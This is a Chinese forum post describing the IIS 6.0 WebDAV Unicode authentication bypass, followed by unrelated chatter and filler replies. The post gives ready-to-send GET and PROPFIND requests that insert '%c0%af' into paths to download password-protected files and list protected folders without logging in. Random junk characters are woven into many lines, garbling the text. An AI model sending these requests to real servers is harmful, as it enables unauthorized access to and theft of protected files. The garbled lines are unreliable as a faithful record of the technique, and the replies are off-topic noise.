绕过IIS 6.0 WebDAV的远程身份验证

漏洞发现者：Nikolaos Rangos
具体漏洞存在于带WebDAV功能的IIS 6.0中
8 S" \% ~! s3 c- g% d& E( IWeb服务器没有正确地处理Unicode命令的URI时，解析和发送回的数据.
8 G0 I% s( M7 E2 j假设有一个密码保护文件夹d:\inetpub\wwwroot\protected\
) h# e7 t- v" \: Q# D此文件夹内有一个名为 protected.zip "
8 F1 ~7 u( i2 h' C; z. k. B& X向服务器发送一个HTTP GET请求
GET /  %c0%af/protected/protected.zip HTTP/1.1
         Translate: f
/ b0 n- h$ `5 T5 B) r( x7 S         Connection: close
3 u5 y- o" [& [1 j         Host: servernameMu
- f. i/ ]$ G4 q  D指示Web服务器处理请求使用 WebDAV的
2 C2 t' @: z2 X1 X7 g利用这种恶意的URI构建网络服务器发送文件到
/protected/ protected.zip ”而不要求进行适当的验证
另一个有效的请求可能会传送到Web服务器是：

GET /prot%c0%afected/protected.zip HTTP/1.1
         Translate: f
         Connection: close
% H; V& e- H/ k! R1 N         Host: servername
8 P9 @7 L' R: O) V* s7 S5 @& j. ~IIS 6.0中将会删除„%c0%af” 的请求，并发送回密码保护文件而不验证.
6 x$ u6 D& L- KASP脚本不能下载，除非以这种方式提供服务的脚本源代码是启用的
可以绕过访问限制的，密码保护文件夹和列表，下载，上传和修改文件
  }8 W* s8 ~- F& w, _Copy code        PROPFIND /protec%c0%afted/ HTTP/1.1
. H: @9 {3 V) {5 J6 x        Host: servername
        User-Agent: neo/0.12.2
        Connection: TE
8 C5 z# C; u3 E/ A        TE: trailers
        Depth: 1
( T% F  b! i  _8 F3 J$ X        Content-Length: 288
# D. J( m1 k+ e        Content-Type: application/xml
$ K0 K9 x7 G+ D& C        <?xml version="1.0" encoding="utf-8"?>
3 J4 {+ E# p2 b; O1 W% y; [- U2 ~        <propfind xmlns="DAV:"><prop>
        <getcontentlength xmlns="DAV:"/>
        <getlastmodified xmlns="DAV:"/>
7 u5 }  b9 Q9 ?% B        <executable xmlns="http://apache.org/dav/props/"/>
/ C5 J/ W; r7 s# n        <resourcetype xmlns="DAV:"/>
        <checked-in xmlns="DAV:"/>
        <checked-out xmlns="DAV:"/>
/ A  }8 a  s% W8 t        </prop></propfind>

IIS的回应的目录列表的文件夹中没有要求输入密码

怎么就没人拜我为偶像那??

女人啊真是那句话~~~无理占三分~~忘记怎么说了 呵呵 ~~你帮我想想

这篇帖子构思新颖，题材独具匠心，段落清晰，情节诡异，跌宕起伏，主线分明，引人入胜，平淡中显示出不凡的文学功底，可谓是字字珠玑，句句经典，是我辈应当学习之典范（不好意思回错帖了

顶顶多好，大家都来！

我也不知道了~~你把我问蒙了 呵呵

什么什么啊??

嘿...反了反了,,,,

哎 我我我怎么办啊??

哥们，给我做个链接吧

嘻嘻~` 要是只看你的话~`~`` 很容易让人家以为你也跟偶们一样是天使类~`（偷笑中````````

呵呵 放心 如我算错 你以后来砸我的帖子 呵呵

呵呵 我可不敢~~~~

我不是来为楼主呐喊加油的，也不是对楼主进行围堵攻击的。